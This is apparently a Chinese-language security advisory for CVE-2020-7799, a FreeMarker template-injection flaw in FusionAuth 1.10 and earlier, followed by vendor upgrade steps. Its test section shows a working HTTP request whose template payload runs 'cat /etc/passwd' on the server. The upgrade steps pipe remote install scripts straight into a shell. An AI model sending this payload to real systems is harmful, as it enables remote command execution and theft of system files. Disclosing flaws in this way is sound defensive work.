安全研究
安全漏洞
Apache FusionAuth FreeMarker引擎远程命令执行漏洞 (CVE-2020-7799)
发布日期:2020-01-28
更新日期:2020-02-04
受影响系统:
Apache Group FusionAuth <= 1.10不受影响系统:
Apache Group FusionAuth >= 1.11描述:
CVE(CAN) ID: CVE-2020-7799
Apache FusionAuth是一个访问管理开源应用。
Apache FusionAuth <= 1.10版本,FreeMarker引擎在实现上存在远程代码执行漏洞。通过验证的用户可以可以编辑电子邮件模板(Home->Settings->Email Templates)或主题(Home->Settings->Themes),从而通过处理自定义模板的Apache FreeMarker引擎中的freemarker.template.utility.Execute在底层操作系统上执行任意命令。此漏洞源于由于使用Apache FreeMarker模板引擎,且未对用户输入数据进行过滤。
<*来源:vendor
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
POST /ajax/email/template/preview HTTP/1.1
Host: 192.168.0.3:9011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 796
DNT: 1
Connection: close
Referer: http://192.168.0.3:9011/admin/email/template/edit/2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b
Cookie: JSESSIONID=FA9DB3CBABA6B37E5336AE4B96001807;
primeCSRFToken=kRC228UjAA4ohN_E9PW9kz0HpTlxUDCB_HVrDhBUfWU&emailTemplateId=2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b&emailTemplate.name=COPPA%20Notice&emailTemplate.defaultSubject=Notice%20of%20your%20consent&emailTemplate.fromEmail=no-reply%40fusionauth.io&emailTemplate.defaultFromName=FusionAuth&emailTemplate.defaultTextTemplate=You%20recently%20granted%20your%20child%20consent%20in%20our%20system.%20This%20email%20is%20to%20notify%20you%20of%20this%20consent.%20If%20you%20did%20not%20grant%20this%20consent%20or%20wish%20to%20revoke%20this%20consent%2C%20click%20the%20link%20below%3A%0A%0Ahttp%3A%2F%2Fexample.com%2Fconsent%2Fmanage%0A%0A-%20FusionAuth%20Admin&emailTemplate.defaultHtmlTemplate=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}}
建议:
厂商补丁:
Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。
参考链接:
https://lab.mediaservice.net/advisory/2020-03-fusionauth.txt
https://fusionauth.io/
https://freemarker.apache.org/
https://www.mediaservice.net/
快速升级:
选择快速安装的用户可以使用如下方法升级FusionAuth到最新版本:
Linux:
使用ZIP包方式安装的用户,首先进入应用的安装目录下,停止当前程序:
/bin/shutdown.sh
进入安装目录的上级目录(例:安装目录为/usr/local/fusionauth,则进入/usr/local/目录),执行以下命令进行升级:
sh -c "curl -fsSL https://raw.githubusercontent.com/FusionAuth/fusionauth-install/master/install.sh | sh -s - -z"
进入安装目录,启动程序:
/bin/startup.sh
使用DEB或RPM包安装的用户,执行以下命令进行升级:
sh -c "curl -fsSL https://raw.githubusercontent.com/FusionAuth/fusionauth-install/master/install.sh | sh"
启动程序:
sudo service fusionauth-search start sudo service fusionauth-app start
Windows:
进入安装目录下,停止当前程序:
net stop FusionAuthApp
net stop FusionAuthSearch
安装最新版本:
iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/FusionAuth/fusionauth-install/master/install.ps1')
启动程序:
\bin\startup.bat
详细升级过程可参考官方的升级文档:
https://fusionauth.io/docs/v1/tech/installation-guide/fast-path
手动升级:
选择手动安装的用户可以使用如下方法升级FusionAuth到最新版本:
Linux:
进入安装目录,停止程序并进行卸载:
# 停止程序
/bin/shutdown.sh
# 卸载
rm -rf ./fusionauth-app
rm -rf ./fusionauth-search
rm -rf ./bin
访问以下链接下载最新的程序包(1.14.0版):
https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-app-1.14.0.zip
https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-search-1.14.0.zip
进入安装目录,解压安装包:
unzip -nq new-fusionauth-app.zip
unzip -nq new-fusionauth-search.zip
启动程序:
/bin/startup.sh
Windows:
进入程序安装目录,停止程序并进行卸载:
# 停止程序
net stop FusionAuthApp
net stop FusionAuthSearch
# 卸载程序
cd \fusionauth\fusionauth-app\apache-tomcat\bin
FusionAuthApp.exe /uninstall
cd \fusionauth\fusionauth-search\elasticsearch\bin
FusionAuthSearch.exe /uninstall
# 移除原目录
cd \fusionauth
move fusionauth-app fusionauth-app-old move fusionauth-search fusionauth-search-old
访问以下链接下载最新的程序包(1.14.0版):
https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-app-1.14.0.zip
https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.14.0/fusionauth-search-1.14.0.zip
将上述压缩包解压后,进行安装:
# 安装
cd \fusionauth\fusionauth-app\apache-tomcat\bin
FusionAuthApp.exe /install
cd \fusionauth\fusionauth-search\elasticsearch\bin
FusionAuthSearch.exe /install
# 启动程序
net start FusionAuthSearch net start FusionAuthApp
详细升级过程可参考官方升级文档:
https://fusionauth.io/docs/v1/tech/installation-guide/upgrade
浏览次数:3046
严重程度:0(网友投票)
绿盟科技给您安全的保障
